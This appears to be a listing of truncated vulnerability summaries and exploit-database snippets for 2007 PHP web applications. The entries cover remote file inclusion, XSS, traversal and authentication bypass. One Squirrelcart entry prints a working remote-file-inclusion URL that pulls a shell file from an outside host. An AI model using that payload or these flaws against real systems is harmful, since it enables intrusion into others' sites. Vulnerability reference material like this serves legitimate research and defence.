CVE-2007-4744

Vulnerability summary (CVE-2007-4744) : A PHP remote file inclusion flaw in AnyInventory 1.9.1 and 2.0 enables an attacker to execute arbitrary PHP code when register_globals is on. The issue is triggered via a URL in the DIR_PREFIX parameter within environment.php, allowing remote code execution...

Squirrelcart 1.x - cart.php Remote File Inclusion

Squirrelcart 1.x - cart.php Remote File Inclusion Title : Squirrelcart config.php, line 13 - $siteisproot = "blablabla"; Exploit : squirrelcart//popupwindow.php?siteisproot=http://example.com/shell.txt? notes : registerglobals = off is needed it seems. milw0rm.com 2007-08-19...

[ECHO_ADV_83$2007] PhpHostBot <= 1.06 (svr_rootscript) Remote File Inclusion Vulnerability

ECHOADV83$2007 ----------------------------------------------------------------------------------------- ECHOADV83$2007 PhpHostBot = 1.06 svrrootscript Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran...

CVE-2007-4181

PHP remote file inclusion vulnerability in data/inc/theme.php in Pluck 4.3, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the dir parameter. NOTE: A reliable third party disputes this vulnerability because the applicable include is within a...

CVE-2007-4180

Affects Pluck 4.3: directory traversal in data/inc/theme.php via the file parameter (..), exploitable when register_globals is enabled. The claim is that remote reading of local files is possible, but the note across sources indicates this vulnerability is disputed because the code uses a fixed a...

PhpHostBot <= 1.06 (svr_rootscript) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================================= PhpHostBot = 1.06 svrrootscript Remote File Inclusion Vulnerability ======================================================================= \ /\ \ / | \ \ | / \ // /...

PhpHostBot 1.06 - 'svr_rootscript' Remote File Inclusion

\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV83$2007 ----------------------------------------------------------------------------------------- ECHOADV83$2007 PhpHostBot = 1.06 svrrootscript Remote File Inclusion Vulnerability...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in open.php in eTicket 1.5.5 and 1.5.5.1, when registerglobals is enabled, allow remote attackers to inject arbitrary web script or HTML via the 1 err and 2 warn parameters. NOTE: the vendor disputes the significance of the issue, stating that...

CVE-2007-2801

CVE-2007-2801 affects eTicket 1.5.5 and 1.5.5.1. The issue is a cross-site scripting (XSS) vulnerability in open.php exploitable when PHP register_globals is On, allowing remote attackers to inject script via the err and warn parameters. Root cause is improper handling of user-supplied inputs und...

CVE-2007-3315

Multiple PHP remote file inclusion vulnerabilities in YourFreeScreamer 1.0, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the serverPath parameter to bodyTemplate.php in 1 templates/Classic/, 2 templates/Classic Guestbook/, 3...

CVE-2007-3315

CVE-2007-3315 describes multiple PHP remote file inclusion vulnerabilities in YourFreeScreamer 1.0. When register_globals is enabled, an attacker can cause arbitrary PHP code execution by supplying a URL in the serverPath parameter to bodyTemplate.php within the templates/Classic/, templates/Clas...

CVE-2007-2822

TutorialCMS

CVE-2007-2822

TutorialCMS 1.01 and earlier, when registerglobals is enabled, allows remote attackers to bypass authentication via the 1 loggedIn and 2 activated parameters to a login.php, b headerLinks.php, c submit1.php, d myFav.php, and e userCP.php...

tutorialcms-bypass.txt

TutorialCMS = 1.01 Authentication Bypass Discovered by: Silentz Payload: Authentication Bypass Website: http://www.w4ck1ng.com Vulnerability: Variables $loggedIn & $activated are not predefined. Vulnerable Files: login.php headerLinks.php submit1.php myFav.php userCP.php PoC:...

TutorialCMS 1.01 - Authentication Bypass

TutorialCMS 1.01 - Authentication Bypass TutorialCMS = 1.01 Authentication Bypass Discovered by: Silentz Payload: Authentication Bypass Website: http://www.w4ck1ng.com Vulnerability: Variables $loggedIn & $activated are not predefined. Vulnerable Files: login.php headerLinks.php submit1.php...

TutorialCMS <= 1.01 Authentication Bypass Vulnerability

Exploit for unknown platform in category web applications ======================================================= TutorialCMS = 1.01 Authentication Bypass Vulnerability ======================================================= TutorialCMS = 1.01 Authentication Bypass Discovered by: Silentz Payload:...

jetbox-inject.txt

netVigilance Security Advisory 26 Jetbox CMS version 2.1 E-Mail Injection Vulnerability Description: Jetbox content management system is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully...

CVE-2007-2481

PHP remote file inclusion vulnerability in wordtube-button.php in the wordTube 1.43 and earlier plugin for WordPress, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the wpPATH parameter...

Directory traversal

Directory traversal vulnerability in wordtube-button.php in the wordTube 1.43 and earlier plugin for WordPress, when registerglobals is enabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the wpPATH parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in js/wptable-button.php in the wp-Table 1.43 and earlier plugin for WordPress, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the wpPATH parameter...